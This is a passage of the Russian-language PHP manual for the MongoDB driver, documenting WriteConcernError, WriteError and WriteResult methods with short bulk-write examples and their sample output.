Возвращает, есть ли в топологии сервер, доступный для чтения, или, если указан параметр readPreference, сервер, соответствующий указанному предпочтению чтения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, есть ли в топологии сервер, доступный для записи

  • « MongoDB\Driver\TopologyDescription::hasReadableServer
  • MongoDB\Driver\WriteConcernError »
  • PHP Manual
  • MongoDB\Driver\TopologyDescription
  • Возвращает, есть ли в топологии сервер, доступный для записи

MongoDB\Driver\TopologyDescription::hasWritableServer

(mongodb >=1.13.0)

MongoDB\Driver\TopologyDescription::hasWritableServer — Возвращает, есть ли в топологии сервер, доступный для записи

Описание

final public MongoDB\Driver\TopologyDescription::hasWritableServer(): bool

Возвращает, есть ли в топологии сервер, доступный для записи.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает, есть ли в топологии сервер, доступный для записи.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Класс The MongoDB\Driver\WriteConcernError

(mongodb >=1.0.0)

Введение

Класс MongoDB\Driver\WriteConcernError инкапсулирует информацию об ошибке записи и может быть возвращён MongoDB\Driver\WriteResult::getWriteConcernError().

Обзор классов

final class MongoDB\Driver\WriteConcernError {
/* Методы */
final public getCode(): int
final public getInfo(): ?object
final public getMessage(): string
}

Содержание

  • MongoDB\Driver\WriteConcernError::getCode — Возвращает код ошибки WriteConcernError
  • MongoDB\Driver\WriteConcernError::getInfo — Возвращает документ метаданных для WriteConcernError
  • MongoDB\Driver\WriteConcernError::getMessage — Возвращает сообщение об ошибке WriteConcernError

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код ошибки WriteConcernError

  • « MongoDB\Driver\WriteConcernError
  • MongoDB\Driver\WriteConcernError::getInfo »
  • PHP Manual
  • MongoDB\Driver\WriteConcernError
  • Возвращает код ошибки WriteConcernError

MongoDB\Driver\WriteConcernError::getCode

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcernError::getCode — Возвращает код ошибки WriteConcernError

Описание

final public MongoDB\Driver\WriteConcernError::getCode(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает код ошибки WriteConcernError.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteConcernError::getCode()

<?php

$manager = new MongoDB\Driver\Manager("mongodb://rs1.example.com,rs2.example.com/?replicaSet=myReplicaSet");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$writeConcern = new MongoDB\Driver\WriteConcern(2, 1);

try {
$manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteConcernError()->getCode());
}

?>

Результатом выполнения данного примера будет что-то подобное:

int(64)

Смотрите также

  • » Справка по гарантиям записи

User Contributed Notes

There are no user contributed notes for this page.


Возвращает документ метаданных для WriteConcernError

  • « MongoDB\Driver\WriteConcernError::getCode
  • MongoDB\Driver\WriteConcernError::getMessage »
  • PHP Manual
  • MongoDB\Driver\WriteConcernError
  • Возвращает документ метаданных для WriteConcernError

MongoDB\Driver\WriteConcernError::getInfo

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcernError::getInfo — Возвращает документ метаданных для WriteConcernError

Описание

final public MongoDB\Driver\WriteConcernError::getInfo(): ?object

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает документ метаданных для WriteConcernError или null, если нет метаданных.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteConcernError::getInfo()

<?php

$manager = new MongoDB\Driver\Manager("mongodb://rs1.example.com,rs2.example.com/?replicaSet=myReplicaSet");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$writeConcern = new MongoDB\Driver\WriteConcern(2, 1);

try {
$manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteConcernError()->getInfo());
}

?>

Результатом выполнения данного примера будет что-то подобное:

object(stdClass)#1 (1) {
  ["wtimeout"]=>
  bool(true)
}

Смотрите также

  • » Справка по гарантиям записи

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сообщение об ошибке WriteConcernError

  • « MongoDB\Driver\WriteConcernError::getInfo
  • MongoDB\Driver\WriteError »
  • PHP Manual
  • MongoDB\Driver\WriteConcernError
  • Возвращает сообщение об ошибке WriteConcernError

MongoDB\Driver\WriteConcernError::getMessage

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcernError::getMessage — Возвращает сообщение об ошибке WriteConcernError

Описание

final public MongoDB\Driver\WriteConcernError::getMessage(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сообщение об ошибке WriteConcernError.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteConcernError::getMessage()

<?php

$manager = new MongoDB\Driver\Manager("mongodb://rs1.example.com,rs2.example.com/?replicaSet=myReplicaSet");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$writeConcern = new MongoDB\Driver\WriteConcern(2, 1);

try {
$manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteConcernError()->getMessage());
}

?>

Результатом выполнения данного примера будет что-то подобное:

string(33) "waiting for replication timed out"

Смотрите также

  • » Справка по гарантиям записи

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\WriteError

(mongodb >=1.0.0)

Введение

Класс MongoDB\Driver\WriteError инкапсулирует информацию об ошибке записи и может быть возвращён как элемент массива из MongoDB\Driver\WriteResult::getWriteErrors().

Обзор классов

final class MongoDB\Driver\WriteError {
/* Методы */
final public getCode(): int
final public getIndex(): int
final public getInfo(): ?object
final public getMessage(): string
}

Содержание

  • MongoDB\Driver\WriteError::getCode — Возвращает код ошибки WriteError
  • MongoDB\Driver\WriteError::getIndex — Возвращает индекс записи, соответствующей этому WriteError
  • MongoDB\Driver\WriteError::getInfo — Возвращает документ метаданных для WriteError
  • MongoDB\Driver\WriteError::getMessage — Возвращает сообщение об ошибке WriteError

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код ошибки WriteError

  • « MongoDB\Driver\WriteError
  • MongoDB\Driver\WriteError::getIndex »
  • PHP Manual
  • MongoDB\Driver\WriteError
  • Возвращает код ошибки WriteError

MongoDB\Driver\WriteError::getCode

(mongodb >=1.0.0)

MongoDB\Driver\WriteError::getCode — Возвращает код ошибки WriteError

Описание

final public MongoDB\Driver\WriteError::getCode(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает код ошибки WriteError.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteError::getCode()

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 1]);

try {
$manager->executeBulkWrite('db.collection', $bulk);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteErrors()[0]->getCode());
}

?>

Результатом выполнения данного примера будет что-то подобное:

int(11000)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает индекс записи, соответствующей этому WriteError

  • « MongoDB\Driver\WriteError::getCode
  • MongoDB\Driver\WriteError::getInfo »
  • PHP Manual
  • MongoDB\Driver\WriteError
  • Возвращает индекс записи, соответствующей этому WriteError

MongoDB\Driver\WriteError::getIndex

(mongodb >=1.0.0)

MongoDB\Driver\WriteError::getIndex — Возвращает индекс записи, соответствующей этому WriteError

Описание

final public MongoDB\Driver\WriteError::getIndex(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает индекс записи (из MongoDB\Driver\BulkWrite), соответствующий текущему WriteError.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteError::getIndex()

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 1]);

try {
$manager->executeBulkWrite('db.collection', $bulk);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteErrors()[0]->getIndex());
}

?>

Результатом выполнения данного примера будет что-то подобное:

int(1)

Смотрите также

  • MongoDB\Driver\BulkWrite

User Contributed Notes

There are no user contributed notes for this page.


Возвращает документ метаданных для WriteError

  • « MongoDB\Driver\WriteError::getIndex
  • MongoDB\Driver\WriteError::getMessage »
  • PHP Manual
  • MongoDB\Driver\WriteError
  • Возвращает документ метаданных для WriteError

MongoDB\Driver\WriteError::getInfo

(mongodb >=1.0.0)

MongoDB\Driver\WriteError::getInfo — Возвращает документ метаданных для WriteError

Описание

final public MongoDB\Driver\WriteError::getInfo(): ?object

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает документ метаданных для WriteError, либо null, если метаданные недоступны.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сообщение об ошибке WriteError

  • « MongoDB\Driver\WriteError::getInfo
  • MongoDB\Driver\WriteResult »
  • PHP Manual
  • MongoDB\Driver\WriteError
  • Возвращает сообщение об ошибке WriteError

MongoDB\Driver\WriteError::getMessage

(mongodb >=1.0.0)

MongoDB\Driver\WriteError::getMessage — Возвращает сообщение об ошибке WriteError

Описание

final public MongoDB\Driver\WriteError::getMessage(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сообщение об ошибке WriteError.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteError::getMessage()

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 1]);

try {
$manager->executeBulkWrite('db.collection', $bulk);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteErrors()[0]->getMessage());
}

?>

Результатом выполнения данного примера будет что-то подобное:

string(70) "E11000 duplicate key error index: db.collection.$_id_ dup key: { : 1 }"

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\WriteResult

(mongodb >=1.0.0)

Введение

Класс MongoDB\Driver\WriteResult инкапсулирует информацию о выполненном MongoDB\Driver\BulkWrite и может быть возвращён MongoDB\Driver\Manager::executeBulkWrite().

Обзор классов

final class MongoDB\Driver\WriteResult {
/* Методы */
final public getDeletedCount(): ?int
final public getInsertedCount(): ?int
final public getMatchedCount(): ?int
final public getModifiedCount(): ?int
final public getServer(): MongoDB\Driver\Server
final public getUpsertedCount(): ?int
final public getUpsertedIds(): array
final public getWriteConcernError(): ?MongoDB\Driver\WriteConcernError
final public getWriteErrors(): array
final public isAcknowledged(): bool
}

Содержание

  • MongoDB\Driver\WriteResult::getDeletedCount — Возвращает количество удалённых документов
  • MongoDB\Driver\WriteResult::getInsertedCount — Возвращает количество вставленных документов (исключая слияния)
  • MongoDB\Driver\WriteResult::getMatchedCount — Возвращает количество документов, выбранных для обновления
  • MongoDB\Driver\WriteResult::getModifiedCount — Возвращает количество существующих обновлённых документов
  • MongoDB\Driver\WriteResult::getServer — Возвращает сервер, связанный с этим результатом записи
  • MongoDB\Driver\WriteResult::getUpsertedCount — Возвращает количество документов, вставленных слиянием
  • MongoDB\Driver\WriteResult::getUpsertedIds — Возвращает массив идентификаторов для объединённых документов
  • MongoDB\Driver\WriteResult::getWriteConcernError — Возвращает любую ошибку гарантий записи, которая произошла
  • MongoDB\Driver\WriteResult::getWriteErrors — Возвращает любые ошибки записи, которые произошли
  • MongoDB\Driver\WriteResult::isAcknowledged — Возвращает, была ли запись подтверждена

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество удалённых документов

  • « MongoDB\Driver\WriteResult
  • MongoDB\Driver\WriteResult::getInsertedCount »
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Возвращает количество удалённых документов

MongoDB\Driver\WriteResult::getDeletedCount

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getDeletedCount — Возвращает количество удалённых документов

Описание

final public MongoDB\Driver\WriteResult::getDeletedCount(): ?int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество удалённых документов или null если запись не была подтверждена.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteResult::getDeletedCount()

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getDeletedCount());

?>

Результат выполнения данного примера:

int(1)

Смотрите также

  • MongoDB\Driver\WriteResult::isAcknowledged() - Возвращает, была ли запись подтверждена

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество вставленных документов (исключая слияния)

  • « MongoDB\Driver\WriteResult::getDeletedCount
  • MongoDB\Driver\WriteResult::getMatchedCount »
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Возвращает количество вставленных документов (исключая слияния)

MongoDB\Driver\WriteResult::getInsertedCount

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getInsertedCount — Возвращает количество вставленных документов (исключая слияния)

Описание

final public MongoDB\Driver\WriteResult::getInsertedCount(): ?int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество вставленных документов (исключая слияния) или null если запись не была подтверждена.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteResult::getInsertedCount()

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getInsertedCount());

?>

Результат выполнения данного примера:

int(1)

Смотрите также

  • MongoDB\Driver\WriteResult::isAcknowledged() - Возвращает, была ли запись подтверждена

User Contributed Notes

noam 29-Nov-2018 05:31
In case you are trying to add an index to a collection, and the index is already there, the value of getInsertedCount() depends on the MongoDB server version.
For example, MongoDB version 2.4 consider the index as inserted, but version 3.6 does not.


Возвращает количество документов, выбранных для обновления

  • « MongoDB\Driver\WriteResult::getInsertedCount
  • MongoDB\Driver\WriteResult::getModifiedCount »
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Возвращает количество документов, выбранных для обновления

MongoDB\Driver\WriteResult::getMatchedCount

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getMatchedCount — Возвращает количество документов, выбранных для обновления

Описание

final public MongoDB\Driver\WriteResult::getMatchedCount(): ?int

Если операция обновления не приводит к изменению документа (например, установка значения поля в его текущее значение), сопоставленное количество может быть больше, чем значение, возвращаемое MongoDB\Driver\WriteResult::getModifiedCount().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество документов, выбранных для обновления, или null если запись не была подтверждена.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteResult::getMatchedCount()

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getMatchedCount());

?>

Результат выполнения данного примера:

int(1)

Смотрите также

  • MongoDB\Driver\WriteResult::getModifiedCount() - Возвращает количество существующих обновлённых документов
  • MongoDB\Driver\WriteResult::isAcknowledged() - Возвращает, была ли запись подтверждена

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество существующих обновлённых документов

  • « MongoDB\Driver\WriteResult::getMatchedCount
  • MongoDB\Driver\WriteResult::getServer »
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Возвращает количество существующих обновлённых документов

MongoDB\Driver\WriteResult::getModifiedCount

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getModifiedCount — Возвращает количество существующих обновлённых документов

Описание

final public MongoDB\Driver\WriteResult::getModifiedCount(): ?int

Если операция обновления не приводит к изменению документа (например, установка значения поля в его текущее значение), изменённое число может быть меньше, чем значение, возвращаемое MongoDB\Driver\WriteResult::getMatchedCount().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество существующих обновлённых документов или null, если запись не была подтверждена.

Изменённый счётчик недоступен в версиях MongoDB до версии 2.6, в которой использовалась устаревшая версия проводного протокола (т.е. OP_UPDATE). В этом случае изменённое количество также будет равно null.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteResult::getModifiedCount()

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getModifiedCount());

?>

Результат выполнения данного примера:

int(1)

Смотрите также

  • MongoDB\Driver\WriteResult::getMatchedCount() - Возвращает количество документов, выбранных для обновления
  • MongoDB\Driver\WriteResult::isAcknowledged() - Возвращает, была ли запись подтверждена

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сервер, связанный с этим результатом записи

  • « MongoDB\Driver\WriteResult::getModifiedCount
  • MongoDB\Driver\WriteResult::getUpsertedCount »
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Возвращает сервер, связанный с этим результатом записи

MongoDB\Driver\WriteResult::getServer

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getServer — Возвращает сервер, связанный с этим результатом записи

Описание

final public MongoDB\Driver\WriteResult::getServer(): MongoDB\Driver\Server

Возвращает MongoDB\Driver\Server, связанный с этим результатом записи. Это сервер, который выполнил MongoDB\Driver\BulkWrite.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает MongoDB\Driver\Server связанный с этим результатом записи.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteResult::getServer()

<?php

$manager = new MongoDB\Driver\Manager;
$server = $manager->selectServer(new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY));

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$result = $server->executeBulkWrite('db.collection', $bulk);

var_dump($result->getServer() == $server);

?>

Результат выполнения данного примера:

bool(true)

Смотрите также

  • MongoDB\Driver\Server

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество документов, вставленных слиянием

  • « MongoDB\Driver\WriteResult::getServer
  • MongoDB\Driver\WriteResult::getUpsertedIds »
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Возвращает количество документов, вставленных слиянием

MongoDB\Driver\WriteResult::getUpsertedCount

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getUpsertedCount — Возвращает количество документов, вставленных слиянием

Описание

final public MongoDB\Driver\WriteResult::getUpsertedCount(): ?int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество документов, вставленных слиянием.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteResult::getUpsertedCount()

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getUpsertedCount());

?>

Результат выполнения данного примера:

int(2)

Смотрите также

  • MongoDB\Driver\WriteResult::getUpsertedIds() - Возвращает массив идентификаторов для объединённых документов
  • MongoDB\Driver\WriteResult::isAcknowledged() - Возвращает, была ли запись подтверждена

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив идентификаторов для объединённых документов

  • « MongoDB\Driver\WriteResult::getUpsertedCount
  • MongoDB\Driver\WriteResult::getWriteConcernError »
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Возвращает массив идентификаторов для объединённых документов

MongoDB\Driver\WriteResult::getUpsertedIds

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getUpsertedIds — Возвращает массив идентификаторов для объединённых документов

Описание

final public MongoDB\Driver\WriteResult::getUpsertedIds(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив идентификаторов (т.е. значения полей "_id") для объединённых документов. Ключи массива будут соответствовать индексу операции записи (из MongoDB\Driver\BulkWrite), ответственной за слияние.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteResult::getUpsertedIds()

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->update(['x' => 1], ['$set' => ['y' => 3]]);
$bulk->update(['x' => 2], ['$set' => ['y' => 1]], ['upsert' => true]);
$bulk->update(['x' => 3], ['$set' => ['y' => 2]], ['upsert' => true]);
$bulk->delete(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->getUpsertedIds());

?>

Результатом выполнения данного примера будет что-то подобное:

array(2) {
  [2]=>
  object(MongoDB\BSON\ObjectId)#4 (1) {
    ["oid"]=>
    string(24) "580e62a224f2302f191b880b"
  }
  [3]=>
  object(MongoDB\BSON\ObjectId)#5 (1) {
    ["oid"]=>
    string(24) "580e62a224f2302f191b880c"
  }
}

Смотрите также

  • MongoDB\Driver\WriteResult::getUpsertedCount() - Возвращает количество документов, вставленных слиянием
  • MongoDB\Driver\WriteResult::isAcknowledged() - Возвращает, была ли запись подтверждена

User Contributed Notes

There are no user contributed notes for this page.


Возвращает любую ошибку гарантий записи, которая произошла

  • « MongoDB\Driver\WriteResult::getUpsertedIds
  • MongoDB\Driver\WriteResult::getWriteErrors »
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Возвращает любую ошибку гарантий записи, которая произошла

MongoDB\Driver\WriteResult::getWriteConcernError

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getWriteConcernError — Возвращает любую ошибку гарантий записи, которая произошла

Описание

final public MongoDB\Driver\WriteResult::getWriteConcernError(): ?MongoDB\Driver\WriteConcernError

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает MongoDB\Driver\WriteConcernError, если во время операции записи произошла ошибка гарантий записи, и null в противном случае.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteResult::getWriteConcernError()

<?php

$manager = new MongoDB\Driver\Manager("mongodb://rs1.example.com,rs2.example.com/?replicaSet=myReplicaSet");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$writeConcern = new MongoDB\Driver\WriteConcern(2, 1);

try {
$manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteConcernError());
}

?>

Результатом выполнения данного примера будет что-то подобное:

object(MongoDB\Driver\WriteConcernError)#6 (3) {
  ["message"]=>
  string(33) "waiting for replication timed out"
  ["code"]=>
  int(64)
  ["info"]=>
  object(stdClass)#7 (1) {
    ["wtimeout"]=>
    bool(true)
  }
}

Смотрите также

  • MongoDB\Driver\WriteConcern
  • » Справка по гарантиям записи

User Contributed Notes

There are no user contributed notes for this page.


Возвращает любые ошибки записи, которые произошли

  • « MongoDB\Driver\WriteResult::getWriteConcernError
  • MongoDB\Driver\WriteResult::isAcknowledged »
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Возвращает любые ошибки записи, которые произошли

MongoDB\Driver\WriteResult::getWriteErrors

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::getWriteErrors — Возвращает любые ошибки записи, которые произошли

Описание

final public MongoDB\Driver\WriteResult::getWriteErrors(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив объектов MongoDB\Driver\WriteError для любых ошибок записи, обнаруженных во время операции записи. Массив будет пустым, если ошибок не произошло.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteResult::getWriteErrors() с одной ошибкой

<?php

$manager = new MongoDB\Driver\Manager;

/* По умолчанию массовые операции записи выполняются последовательно по порядку
* и выполнение прекращается после первой ошибки.
*/
$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 2]);
$bulk->insert(['_id' => 2]);
$bulk->insert(['_id' => 3]);
$bulk->insert(['_id' => 4]);
$bulk->insert(['_id' => 4]);

try {
$result = $manager->executeBulkWrite('db.collection', $bulk);
} catch (MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteErrors());
}

?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  [0]=>
  object(MongoDB\Driver\WriteError)#5 (4) {
    ["message"]=>
    string(81) "E11000 duplicate key error collection: db.collection index: _id_ dup key: { : 2 }"
    ["code"]=>
    int(11000)
    ["index"]=>
    int(2)
    ["info"]=>
    NULL
  }
}

Пример #2 Пример использования MongoDB\Driver\WriteResult::getWriteErrors() с несколькими ошибками

<?php

$manager = new MongoDB\Driver\Manager;

/* Параметр "ordered" может использоваться для продолжения
* выполнения массовых операций записи после первой ошибки.
*/
$bulk = new MongoDB\Driver\BulkWrite(['ordered' => false]);
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 2]);
$bulk->insert(['_id' => 2]);
$bulk->insert(['_id' => 3]);
$bulk->insert(['_id' => 4]);
$bulk->insert(['_id' => 4]);

try {
$result = $manager->executeBulkWrite('db.collection', $bulk);
} catch (MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteErrors());
}

?>

Результатом выполнения данного примера будет что-то подобное:

array(2) {
  [0]=>
  object(MongoDB\Driver\WriteError)#5 (4) {
    ["message"]=>
    string(81) "E11000 duplicate key error collection: db.collection index: _id_ dup key: { : 2 }"
    ["code"]=>
    int(11000)
    ["index"]=>
    int(2)
    ["info"]=>
    NULL
  }
  [1]=>
  object(MongoDB\Driver\WriteError)#6 (4) {
    ["message"]=>
    string(81) "E11000 duplicate key error collection: db.collection index: _id_ dup key: { : 4 }"
    ["code"]=>
    int(11000)
    ["index"]=>
    int(5)
    ["info"]=>
    NULL
  }
}

Смотрите также

  • MongoDB\Driver\WriteError

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, была ли запись подтверждена

  • « MongoDB\Driver\WriteResult::getWriteErrors
  • MongoDB\BSON »
  • PHP Manual
  • MongoDB\Driver\WriteResult
  • Возвращает, была ли запись подтверждена

MongoDB\Driver\WriteResult::isAcknowledged

(mongodb >=1.0.0)

MongoDB\Driver\WriteResult::isAcknowledged — Возвращает, была ли запись подтверждена

Описание

final public MongoDB\Driver\WriteResult::isAcknowledged(): bool

Если запись подтверждена, другие поля будут доступны в объекте MongoDB\Driver\WriteResult.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если запись была подтверждена, и false в противном случае.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\WriteResult::isAcknowledged() с подтверждёнными гарантиями записи

<?php

$manager = new MongoDB\Driver\Manager;

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$result = $manager->executeBulkWrite('db.collection', $bulk);

var_dump($result->isAcknowledged());

?>

Результат выполнения данного примера:

bool(true)

